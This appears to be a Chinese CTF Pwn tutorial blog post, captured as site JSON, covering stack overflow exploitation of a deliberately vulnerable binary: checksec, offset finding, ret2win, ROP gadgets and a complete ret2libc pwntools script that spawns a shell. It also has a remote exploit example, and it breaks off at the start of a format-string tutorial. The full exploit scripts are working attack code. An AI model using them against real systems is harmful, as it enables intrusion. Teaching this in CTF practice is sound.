不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[19,8425,8426],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8429,8430],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8432,100],{"id":99},[102,8434,8436],{"className":104,"code":8435,"language":106,"meta":107,"style":107},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[19,8437,8438,8448,8460],{"__ignoreMap":107},[111,8439,8440,8442,8444,8446],{"class":113,"line":114},[111,8441,118],{"class":117},[111,8443,122],{"class":121},[111,8445,2401],{"class":121},[111,8447,2404],{"class":121},[111,8449,8450,8452,8454,8457],{"class":113,"line":140},[111,8451,143],{"class":117},[111,8453,122],{"class":121},[111,8455,8456],{"class":121}," pwntools",[111,8458,8459],{"class":121}," ROPgadget\n",[111,8461,8462,8464,8466,8469,8471,8473,8476,8478],{"class":113,"line":448},[111,8463,5061],{"class":117},[111,8465,5064],{"class":121},[111,8467,8468],{"class":121}," https://github.com/pwndbg/pwndbg",[111,8470,220],{"class":219},[111,8472,1775],{"class":1774},[111,8474,8475],{"class":121}," pwndbg",[111,8477,220],{"class":219},[111,8479,8480],{"class":117},"./setup.sh\n",[10,8482,2417],{"id":2416},[15,8484,8485,293],{},[19,8486,2423],{},[102,8488,8489],{"className":1819,"code":2426,"language":1821,"meta":107,"style":107},[19,8490,8491,8495,8499,8503,8507,8511,8515,8519,8523,8527,8531,8535,8539,8543,8547,8551,8555,8559,8563],{"__ignoreMap":107},[111,8492,8493],{"class":113,"line":114},[111,8494,2433],{},[111,8496,8497],{"class":113,"line":140},[111,8498,2438],{},[111,8500,8501],{"class":113,"line":448},[111,8502,452],{"emptyLinePlaceholder":451},[111,8504,8505],{"class":113,"line":455},[111,8506,2447],{},[111,8508,8509],{"class":113,"line":461},[111,8510,2452],{},[111,8512,8513],{"class":113,"line":467},[111,8514,2457],{},[111,8516,8517],{"class":113,"line":473},[111,8518,452],{"emptyLinePlaceholder":451},[111,8520,8521],{"class":113,"line":479},[111,8522,2466],{},[111,8524,8525],{"class":113,"line":484},[111,8526,2471],{},[111,8528,8529],{"class":113,"line":490},[111,8530,2476],{},[111,8532,8533],{"class":113,"line":496},[111,8534,2457],{},[111,8536,8537],{"class":113,"line":502},[111,8538,452],{"emptyLinePlaceholder":451},[111,8540,8541],{"class":113,"line":508},[111,8542,2489],{},[111,8544,8545],{"class":113,"line":514},[111,8546,2494],{},[111,8548,8549],{"class":113,"line":520},[111,8550,2499],{},[111,8552,8553],{"class":113,"line":526},[111,8554,2504],{},[111,8556,8557],{"class":113,"line":532},[111,8558,2509],{},[111,8560,8561],{"class":113,"line":537},[111,8562,2514],{},[111,8564,8565],{"class":113,"line":543},[111,8566,2457],{},[15,8568,8569],{},"编译：",[102,8571,8573],{"className":104,"code":8572,"language":106,"meta":107,"style":107},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[19,8574,8575],{"__ignoreMap":107},[111,8576,8577,8579,8581,8583,8585,8587],{"class":113,"line":114},[111,8578,2531],{"class":117},[111,8580,2534],{"class":248},[111,8582,2537],{"class":121},[111,8584,2540],{"class":121},[111,8586,2543],{"class":248},[111,8588,2546],{"class":248},[10,8590,8592],{"id":8591},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8594,8595,8597],{},[24,8596,162],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8599,8600,8602],{},[24,8601,292],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[102,8604,8605],{"className":104,"code":2575,"language":106,"meta":107,"style":107},[19,8606,8607],{"__ignoreMap":107},[111,8608,8609,8611,8613],{"class":113,"line":114},[111,8610,2582],{"class":117},[111,8612,2585],{"class":121},[111,8614,2588],{"class":121},[15,8616,351],{},[102,8618,8620],{"className":8619,"code":2594,"language":191,"meta":107},[189],[19,8621,2594],{"__ignoreMap":107},[15,8623,8624],{},"逐行含义：",[32,8626,8627,8635],{},[35,8628,8629],{},[38,8630,8631,8633],{},[41,8632,6247],{},[41,8634,1513],{},[51,8636,8637,8647,8657,8670],{},[38,8638,8639,8644],{},[56,8640,8641],{},[19,8642,8643],{},"No canary found",[56,8645,8646],{},"无栈金丝雀，可覆盖返回地址",[38,8648,8649,8654],{},[56,8650,8651],{},[19,8652,8653],{},"NX enabled",[56,8655,8656],{},"栈不可执行，不能直接放 shellcode",[38,8658,8659,8664],{},[56,8660,8661],{},[19,8662,8663],{},"No PIE",[56,8665,8666,8667,8669],{},"程序地址固定，",[19,8668,2656],{}," 地址可直接写死",[38,8671,8672,8677],{},[56,8673,8674],{},[19,8675,8676],{},"Partial RELRO",[56,8678,8679],{},"GOT 可写（本阶段用不到）",[10,8681,2661],{"id":2660},[15,8683,8684,8686],{},[19,8685,2666],{}," 栈帧自低到高：",[102,8688,8691],{"className":8689,"code":8690,"language":191,"meta":107},[189],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[19,8692,8690],{"__ignoreMap":107},[15,8694,8695],{},"偏移 = 32 + 8 = 40。",[15,8697,8698],{},"用 pwntools 验证：",[15,8700,8701,293,8703,8705,8706,8708],{},[24,8702,292],{},[19,8704,2679],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[19,8707,3037],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[102,8710,8712],{"className":431,"code":8711,"language":433,"meta":107,"style":107},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[19,8713,8714,8718,8722,8726,8730,8735,8739,8744,8748,8753,8758],{"__ignoreMap":107},[111,8715,8716],{"class":113,"line":114},[111,8717,2690],{},[111,8719,8720],{"class":113,"line":140},[111,8721,452],{"emptyLinePlaceholder":451},[111,8723,8724],{"class":113,"line":448},[111,8725,2699],{},[111,8727,8728],{"class":113,"line":455},[111,8729,2704],{},[111,8731,8732],{"class":113,"line":461},[111,8733,8734],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[111,8736,8737],{"class":113,"line":467},[111,8738,2719],{},[111,8740,8741],{"class":113,"line":473},[111,8742,8743],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[111,8745,8746],{"class":113,"line":479},[111,8747,2729],{},[111,8749,8750],{"class":113,"line":484},[111,8751,8752],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[111,8754,8755],{"class":113,"line":490},[111,8756,8757],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[111,8759,8760],{"class":113,"line":496},[111,8761,8762],{},"print(\"offset =\", offset)\n",[15,8764,351],{},[102,8766,8769],{"className":8767,"code":8768,"language":191,"meta":107},[189],"offset = 40\n",[19,8770,8768],{"__ignoreMap":107},[15,8772,8773,8774,8777,8778,8781,8782,8784],{},"原理：",[19,8775,8776],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[19,8779,8780],{},"rip"," 的值必然是模式串中的 4/8 字节，",[19,8783,3037],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,8786,8788],{"id":8787},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,8790,8791,8793],{},[24,8792,162],{},"：把返回地址改成 win，验证控制流劫持成功。",[102,8795,8797],{"className":431,"code":8796,"language":433,"meta":107,"style":107},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[19,8798,8799,8803,8807,8811,8815,8819,8823,8828,8832,8837,8842,8846,8850],{"__ignoreMap":107},[111,8800,8801],{"class":113,"line":114},[111,8802,2690],{},[111,8804,8805],{"class":113,"line":140},[111,8806,452],{"emptyLinePlaceholder":451},[111,8808,8809],{"class":113,"line":448},[111,8810,2780],{},[111,8812,8813],{"class":113,"line":455},[111,8814,2699],{},[111,8816,8817],{"class":113,"line":461},[111,8818,452],{"emptyLinePlaceholder":451},[111,8820,8821],{"class":113,"line":467},[111,8822,2942],{},[111,8824,8825],{"class":113,"line":473},[111,8826,8827],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[111,8829,8830],{"class":113,"line":479},[111,8831,2957],{},[111,8833,8834],{"class":113,"line":484},[111,8835,8836],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[111,8838,8839],{"class":113,"line":490},[111,8840,8841],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[111,8843,8844],{"class":113,"line":496},[111,8845,2883],{},[111,8847,8848],{"class":113,"line":502},[111,8849,2971],{},[111,8851,8852],{"class":113,"line":508},[111,8853,8854],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,8856,6212],{},[102,8858,8859],{"className":104,"code":3098,"language":106,"meta":107,"style":107},[19,8860,8861],{"__ignoreMap":107},[111,8862,8863,8865],{"class":113,"line":114},[111,8864,3105],{"class":117},[111,8866,3108],{"class":121},[15,8868,2984],{},[102,8870,8873],{"className":8871,"code":8872,"language":191,"meta":107},[189],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[19,8874,8872],{"__ignoreMap":107},[15,8876,8877,8878,8880,8881,3277,8883,1984,8885,8887,8888,3277,8890,8892],{},"执行过程：",[19,8879,2376],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[19,8882,2656],{},[19,8884,2666],{},[19,8886,8426],{}," 跳到 ",[19,8889,2656],{},[19,8891,3000],{}," 弹 shell。",[10,8894,8896],{"id":8895},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,8898,8899,8900,8902],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[19,8901,8426],{}," 结尾的指令片段（gadget）串起来执行。",[15,8904,8905],{},"找 gadget：",[102,8907,8909],{"className":104,"code":8908,"language":106,"meta":107,"style":107},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[19,8910,8911],{"__ignoreMap":107},[111,8912,8913,8916,8919,8922,8924,8926,8928,8931],{"class":113,"line":114},[111,8914,8915],{"class":117},"ROPgadget",[111,8917,8918],{"class":248}," --binary",[111,8920,8921],{"class":121}," ./vuln",[111,8923,316],{"class":315},[111,8925,319],{"class":117},[111,8927,5237],{"class":1431},[111,8929,8930],{"class":121},"pop rdi",[111,8932,5243],{"class":1431},[15,8934,351],{},[102,8936,8939],{"className":8937,"code":8938,"language":191,"meta":107},[189],"0x0000000000401233 : pop rdi ; ret\n",[19,8940,8938],{"__ignoreMap":107},[15,8942,8943,8946,8947,8950,8951,8953],{},[19,8944,8945],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[19,8948,8949],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[19,8952,8426],{}," 跳到下个地址。栈上布局：",[102,8955,8958],{"className":8956,"code":8957,"language":191,"meta":107},[189],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[19,8959,8957],{"__ignoreMap":107},[10,8961,8963],{"id":8962},"八进阶ret2libc","八、进阶：ret2libc",[15,8965,8966,8968,8969,27],{},[24,8967,162],{},"：程序内没有目标函数时，改调 libc 的 ",[19,8970,3000],{},[15,8972,8973,8975],{},[24,8974,292],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,8977,8978,8979,8981,8982,8984],{},"程序里没有 ",[19,8980,2656],{}," 时，改调 libc 里的 ",[19,8983,3000],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[154,8986,8988],{"id":8987},"_81-原理","8.1 原理",[102,8990,8993],{"className":8991,"code":8992,"language":191,"meta":107},[189],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[19,8994,8992],{"__ignoreMap":107},[154,8996,8998],{"id":8997},"_82-完整脚本","8.2 完整脚本",[102,9000,9002],{"className":431,"code":9001,"language":433,"meta":107,"style":107},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[19,9003,9004,9008,9012,9017,9022,9026,9030,9035,9040,9044,9048,9052,9057,9062,9066,9071,9076,9081,9086,9091,9096,9101,9106,9111,9116,9121,9125,9129,9134,9138,9143,9148,9153,9158,9163,9167,9172,9177,9182,9188,9194,9199,9205,9211,9217,9223,9229,9235,9241,9247,9253,9258,9264,9270],{"__ignoreMap":107},[111,9005,9006],{"class":113,"line":114},[111,9007,2690],{},[111,9009,9010],{"class":113,"line":140},[111,9011,452],{"emptyLinePlaceholder":451},[111,9013,9014],{"class":113,"line":448},[111,9015,9016],{},"context.log_level = 'error'\n",[111,9018,9019],{"class":113,"line":455},[111,9020,9021],{},"# 只显示错误，减少调试信息刷屏。\n",[111,9023,9024],{"class":113,"line":461},[111,9025,452],{"emptyLinePlaceholder":451},[111,9027,9028],{"class":113,"line":467},[111,9029,2780],{},[111,9031,9032],{"class":113,"line":473},[111,9033,9034],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[111,9036,9037],{"class":113,"line":479},[111,9038,9039],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[111,9041,9042],{"class":113,"line":484},[111,9043,2699],{},[111,9045,9046],{"class":113,"line":490},[111,9047,452],{"emptyLinePlaceholder":451},[111,9049,9050],{"class":113,"line":496},[111,9051,8768],{},[111,9053,9054],{"class":113,"line":502},[111,9055,9056],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[111,9058,9059],{"class":113,"line":508},[111,9060,9061],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[111,9063,9064],{"class":113,"line":514},[111,9065,452],{"emptyLinePlaceholder":451},[111,9067,9068],{"class":113,"line":520},[111,9069,9070],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[111,9072,9073],{"class":113,"line":526},[111,9074,9075],{},"payload1 = b'A' * offset\n",[111,9077,9078],{"class":113,"line":532},[111,9079,9080],{},"payload1 += p64(ret)\n",[111,9082,9083],{"class":113,"line":537},[111,9084,9085],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[111,9087,9088],{"class":113,"line":543},[111,9089,9090],{},"payload1 += p64(pop_rdi)\n",[111,9092,9093],{"class":113,"line":549},[111,9094,9095],{},"payload1 += p64(elf.got['puts'])\n",[111,9097,9098],{"class":113,"line":555},[111,9099,9100],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[111,9102,9103],{"class":113,"line":561},[111,9104,9105],{},"payload1 += p64(elf.plt['puts'])\n",[111,9107,9108],{"class":113,"line":567},[111,9109,9110],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[111,9112,9113],{"class":113,"line":573},[111,9114,9115],{},"payload1 += p64(elf.symbols['main'])\n",[111,9117,9118],{"class":113,"line":579},[111,9119,9120],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[111,9122,9123],{"class":113,"line":584},[111,9124,452],{"emptyLinePlaceholder":451},[111,9126,9127],{"class":113,"line":590},[111,9128,2942],{},[111,9130,9131],{"class":113,"line":596},[111,9132,9133],{},"p.sendline(payload1)\n",[111,9135,9136],{"class":113,"line":601},[111,9137,452],{"emptyLinePlaceholder":451},[111,9139,9140],{"class":113,"line":607},[111,9141,9142],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[111,9144,9145],{"class":113,"line":613},[111,9146,9147],{},"# recvline()：读一行（puts 输出后带换行）。\n",[111,9149,9150],{"class":113,"line":619},[111,9151,9152],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[111,9154,9155],{"class":113,"line":625},[111,9156,9157],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[111,9159,9160],{"class":113,"line":630},[111,9161,9162],{},"print(\"puts:\", hex(leak))\n",[111,9164,9165],{"class":113,"line":636},[111,9166,452],{"emptyLinePlaceholder":451},[111,9168,9169],{"class":113,"line":642},[111,9170,9171],{},"libc.address = leak - libc.symbols['puts']\n",[111,9173,9174],{"class":113,"line":648},[111,9175,9176],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[111,9178,9179],{"class":113,"line":654},[111,9180,9181],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[111,9183,9185],{"class":113,"line":9184},39,[111,9186,9187],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[111,9189,9191],{"class":113,"line":9190},40,[111,9192,9193],{},"print(\"libc base:\", hex(libc.address))\n",[111,9195,9197],{"class":113,"line":9196},41,[111,9198,452],{"emptyLinePlaceholder":451},[111,9200,9202],{"class":113,"line":9201},42,[111,9203,9204],{},"# 第二阶段：system(\"/bin/sh\")\n",[111,9206,9208],{"class":113,"line":9207},43,[111,9209,9210],{},"payload2 = b'A' * offset\n",[111,9212,9214],{"class":113,"line":9213},44,[111,9215,9216],{},"payload2 += p64(ret)\n",[111,9218,9220],{"class":113,"line":9219},45,[111,9221,9222],{},"payload2 += p64(pop_rdi)\n",[111,9224,9226],{"class":113,"line":9225},46,[111,9227,9228],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[111,9230,9232],{"class":113,"line":9231},47,[111,9233,9234],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[111,9236,9238],{"class":113,"line":9237},48,[111,9239,9240],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[111,9242,9244],{"class":113,"line":9243},49,[111,9245,9246],{},"payload2 += p64(libc.symbols['system'])\n",[111,9248,9250],{"class":113,"line":9249},50,[111,9251,9252],{},"# 调用 system(\"/bin/sh\")。\n",[111,9254,9256],{"class":113,"line":9255},51,[111,9257,452],{"emptyLinePlaceholder":451},[111,9259,9261],{"class":113,"line":9260},52,[111,9262,9263],{},"p.sendlineafter(b'name?', payload2)\n",[111,9265,9267],{"class":113,"line":9266},53,[111,9268,9269],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[111,9271,9273],{"class":113,"line":9272},54,[111,9274,2971],{},[15,9276,9277],{},"运行输出：",[102,9279,9282],{"className":9280,"code":9281,"language":191,"meta":107},[189],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[19,9283,9281],{"__ignoreMap":107},[154,9285,9287],{"id":9286},"_83-三个易错点","8.3 三个易错点",[1792,9289,9290,9310,9325],{},[1795,9291,9292,293,9295,9298,9299,9302,9303,9306,9307,27],{},[24,9293,9294],{},"补零",[19,9296,9297],{},"puts"," 输出的地址以换行结尾，",[19,9300,9301],{},"strip()"," 去掉换行，",[19,9304,9305],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[19,9308,9309],{},"u64",[1795,9311,9312,293,9315,9318,9319,9322,9323,27],{},[24,9313,9314],{},"对齐",[19,9316,9317],{},"system"," 内部使用 ",[19,9320,9321],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[19,9324,8426],{},[1795,9326,9327,9330,9331,9334],{},[24,9328,9329],{},"libc 版本","：远程题目若提供 libc，用 ",[19,9332,9333],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9336,9338],{"id":9337},"九必学工具","九、必学工具",[32,9340,9341,9351],{},[35,9342,9343],{},[38,9344,9345,9347,9349],{},[41,9346,872],{},[41,9348,3016],{},[41,9350,3019],{},[51,9352,9353,9371,9383],{},[38,9354,9355,9357,9369],{},[56,9356,3026],{},[56,9358,9359,918,9361,1030,9363,918,9365,3041,9367],{},[19,9360,3031],{},[19,9362,2679],{},[19,9364,3037],{},[19,9366,2893],{},[19,9368,3044],{},[56,9370,3048],{},[38,9372,9373,9375,9378],{},[56,9374,8915],{},[56,9376,9377],{},"搜索 gadget、指定寄存器、输出地址",[56,9379,9380],{},[19,9381,9382],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[38,9384,9385,9388,9391],{},[56,9386,9387],{},"GDB（pwndbg）",[56,9389,9390],{},"断点、看栈、查看崩溃点",[56,9392,9393,918,9395,918,9397],{},[19,9394,3074],{},[19,9396,3077],{},[19,9398,9399],{},"bt",[10,9401,9403],{"id":9402},"十小-ctf-实战","十、小 CTF 实战",[15,9405,946,9406,9408,9409,9411,9412,9414],{},[19,9407,3089],{}," 运行 ",[19,9410,2666],{},"（No canary、No PIE，有 ",[19,9413,2656],{},"）。",[102,9416,9418],{"className":431,"code":9417,"language":433,"meta":107,"style":107},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,9419,9420,9424,9428,9432,9436,9440,9444,9448,9452],{"__ignoreMap":107},[111,9421,9422],{"class":113,"line":114},[111,9423,2690],{},[111,9425,9426],{"class":113,"line":140},[111,9427,452],{"emptyLinePlaceholder":451},[111,9429,9430],{"class":113,"line":448},[111,9431,2780],{},[111,9433,9434],{"class":113,"line":455},[111,9435,2833],{},[111,9437,9438],{"class":113,"line":461},[111,9439,452],{"emptyLinePlaceholder":451},[111,9441,9442],{"class":113,"line":467},[111,9443,2957],{},[111,9445,9446],{"class":113,"line":473},[111,9447,2883],{},[111,9449,9450],{"class":113,"line":479},[111,9451,3177],{},[111,9453,9454],{"class":113,"line":484},[111,9455,2971],{},[15,9457,351],{},[102,9459,9461],{"className":9460,"code":3192,"language":191,"meta":107},[189],[19,9462,3192],{"__ignoreMap":107},[10,9464,9466],{"id":9465},"十一小结","十一、小结",[15,9468,9469,9470,9472,9473,9475],{},"栈溢出主线：",[19,9471,3053],{}," 判断防护 → ",[19,9474,2679],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1035,9477,9478],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":107,"searchDepth":140,"depth":140,"links":9480},[9481,9482,9483,9484,9485,9486,9487,9488,9489,9490,9491],{"id":8411,"depth":448,"text":8412},{"id":99,"depth":448,"text":100},{"id":2416,"depth":448,"text":2417},{"id":8591,"depth":448,"text":8592},{"id":2660,"depth":448,"text":2661},{"id":8787,"depth":448,"text":8788},{"id":8895,"depth":448,"text":8896},{"id":8962,"depth":448,"text":8963},{"id":9337,"depth":448,"text":9338},{"id":9402,"depth":448,"text":9403},{"id":9465,"depth":448,"text":9466},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1051,"image":9494,"alt":9495,"tags":9496,"published":451},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1055,2582,9497,2357],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8406,"description":9492},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9503,"title":9504,"body":9505,"description":10530,"extension":1049,"meta":10531,"navigation":451,"ogImage":4227,"path":10535,"seo":10536,"stem":10537,"__hash__":10538},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9506,"toc":10518},[9507,9511,9514,9529,9544,9561,9565,9570,9619,9640,9644,9649,9651,9660,9662,9668,9671,9677,9688,9696,9700,9705,9721,9724,9726,9734,9736,9742,9745,9751,9761,9828,9833,9863,9867,9872,9885,9893,9948,10001,10004,10013,10016,10020,10025,10040,10045,10051,10053,10066,10069,10112,10116,10127,10135,10141,10211,10244,10247,10326,10332,10361,10371,10373,10431,10435,10442,10451,10494,10496,10502,10504,10515],[10,9508,9510],{"id":9509},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9512,9513],{},"C 程序员常写的输出代码：",[102,9515,9517],{"className":1819,"code":9516,"language":1821,"meta":107,"style":107},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[19,9518,9519,9524],{"__ignoreMap":107},[111,9520,9521],{"class":113,"line":114},[111,9522,9523],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[111,9525,9526],{"class":113,"line":140},[111,9527,9528],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9530,9531,9532,9535,9536,9539,9540,9543],{},"当 ",[19,9533,9534],{},"buf"," 内容是 ",[19,9537,9538],{},"%p"," 时，",[19,9541,9542],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9545,9546,9547,9555],"ul",{},[1795,9548,9549,1030,9551,9554],{},[19,9550,9538],{},[19,9552,9553],{},"%s","：任意读（泄露内存）。",[1795,9556,9557,9560],{},[19,9558,9559],{},"%n","：任意写（写入内存）。",[10,9562,9564],{"id":9563},"二漏洞程序与编译","二、漏洞程序与编译",[15,9566,9567,293],{},[19,9568,9569],{},"fmt.c",[102,9571,9573],{"className":1819,"code":9572,"language":1821,"meta":107,"style":107},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 